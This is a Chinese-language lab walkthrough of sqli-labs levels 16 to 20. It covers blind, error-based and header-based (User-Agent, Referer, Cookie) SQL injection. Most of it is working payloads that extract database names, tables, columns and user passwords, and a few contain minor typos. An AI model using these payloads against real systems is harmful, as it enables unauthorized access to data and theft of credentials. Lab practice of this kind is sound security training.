第十六关( ")闭合的布尔盲注)
一、判断类型
1.使用特殊符号报错,发现没有回显
2.通过尝试发现是使用 ") 闭合
二、进行注入
1.猜数据库名的长度
") or length(database())=8 #
# 只有等于8的时候显示成功登录,其余数字都未登入,由此可知数据库长度为8
2.抓包后爆出数据库的名称(设置参数与第八关相同)
") or if(ascii(substr(schema(),1,1)) =115 ,sleep(3),sleep(0)) #
发现有几行在3秒后才显示出来,说明这几个就是正确字母,得到security
3.猜所有表的长度
") or length((select group_concat(table_name) from information_schema.tables where table_schema=schema()))=29 #
4.爆所有表的名称
") or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=schema()),1,1))=97 %23
根据长度不同可知每个字母,手动排序一下得到表名:emali,referers,uagents,users
5.猜user表中的所有列数
") or length((select group_concat(column_name) from information_schema.columns where table_schema=schema() and table_name='users'))=20 #
6.逐个猜所有列名
") or ascii(substr((select group_concat(column_name) from information_schema. columns where table_schema=schema() and table_name= 'users' ),1,1))=97 #
爆破后可得到每个列的字母,手动排序可得列名:id,username,password
以上十六关结束,所有信息的获取通过burpsuit获取有些困难,可以借助sqlmap工具或编写脚本。
第十七关(密码框的报错注入)
一、判断类型
1.发现这关不再是登录窗口而是修改密码窗口
2.在输入用户名的地方尝试报错,发现没有回显
再在新密码框处报错,同样也没有回显
3.试试使用页面上这个用户名修改密码,发现可以修改
4.使用该用户名在密码框进行注入,终于出现错误回显,说明有注入点且用 ' 闭合
二、进行注入
1.先判断字段数,看能否进行联合注入
' order by 3 #
试到1都发现显示没有column,说明不能用union select,所以进行报错注入
2.爆出数据库名称
-1' and (updatexml(1,concat(0x7e,(schema()),0x7e),3)) #
3.爆出所有表名
-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),3) #
4.爆出表中所有列
-1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),3) #
5.查所有信息
-1' and updatexml(1,concat(0x7e,(select group_concat(id,password) from users),0x7e),3) #
发现payload语句构造有问题,这个错误是说不能先select出同一表中的某些值后再修改这个表,可以通过将select出的结果再通过中间表select一遍,加一层select即可
-1' and (updatexml(1,concat(0x7e,(select password from (select password from users where username='Dhakkan'),a),0x7e),3)) #
又提示出错:是说每个表都要有自己的别名,没有给最里面的那层查询起别名,再构造语句,这下查出来是第一次修改的密码
-1' and (updatexml(1,concat(0x7e,(select password from (select password from users where username='Dhakkan')as aa),0x7e),3)) #
以上十七关成功结束。
第十八关(uagent头的报错注入)
一、判断类型
1.这关多了显示ip,没什么头绪在登录框试试有没有注入点
2.都尝试各种闭合方法发现都没有成功的
3.查看源码,发现用户名和密码被放在check_input函数里, 说明对uname和passwd注入是不行的
check_input函数:过滤单引号以及其他特殊符号的
二、进行注入
1.首先输入正确的用户名和密码(admin;admin)才能绕过对账号密码的判断
2.发现返回user agent的信息,抓包对其进行报错注入,出现报错内容说明有注入点
3.尝试使用报错注入,显示结果出现问题
1' and updatexml(1,concat(0x7e,(schema()),0x7e),1))#
查看源码发现是payload中构造的列数不对
4.爆出数据库名称
1',1,updatexml(1,concat(0x7e,database(),0x7e),1)) #
5.爆出数据库中所有表名
1',1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=schema()),0x7e),1)) #
6.爆出users表中所有列
1',1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=schema() and table_name='users'),0x7e),1)) #
7.查所有信息
1',1,updatexml(1,concat(0x7e,(select group_concat(id,password)from users),0x7e),1)) #
以上十八关成功结束。
第十九关(referer头的报错注入)
一、判断类型
1.页面与上一关显示相同,使用正确的用户名和密码登录发现返回Referer信息
2.抓包测试有没有注入点,出现报错说明存在
二、进行注入
1.查看源码确定表的列数来构造payload,发现有referer和ip两列
2.爆出数据库名称,发现没有updatexml这个函数
1',updatexml(1,concat(0x7e,database(),0x7e)))#
更换一个报错函数,出现结果为数据库名称:security
1',extractvalue(1,concat(0x7e,database(),0x7e)))#
3.爆出数据库中所有表名
1',extractvalue(1,group_concat(0x7e,select table_name from information_schema.tables where table_scehma=schema(),0x7e)))#
结果常用的group语句出现问题了,那么在后面添加限制在一行的条件
1',extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=schema() limit 0,1),0x7e)))#
4.爆出emails表中所有列
1', extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1),0x7e))) #
5.查所有信息
1', extractvalue(1,concat(0x7e,(select email_id from emails limit 0,1),0x7e))) #
以上十九关成功结束。
第二十关(cookie头部注入)
一、判断类型
1.使用admin登录后发现出现delete your cookie的按钮,按一下就退出了,没什么特殊的地方
2.尝试注入发现也没有回显,查看源码发现对插入语句均进行过滤
3.只能通过代码审计发现漏洞
1)先判断是否设置cookie,存在返回cookie值,不存在就进行查询
2)cookie存在时对cookie的赋值没有进行任何过滤,尝试进行报错注入
二、进行注入
1.抓包查看,注入后存在报错,说明有注入点
2.爆出数据库名称(使用updatexml提示没有该函数)
-1' union select 1,2,database() #
3.爆出数据库中所有表名
-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=schema()) #
4.爆出users表中所有列
-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=schema() and table_name='users' #
5.查所有信息
-1' union select 1,2,(select group_concat(username,password) from users) #
以上二十关成功结束。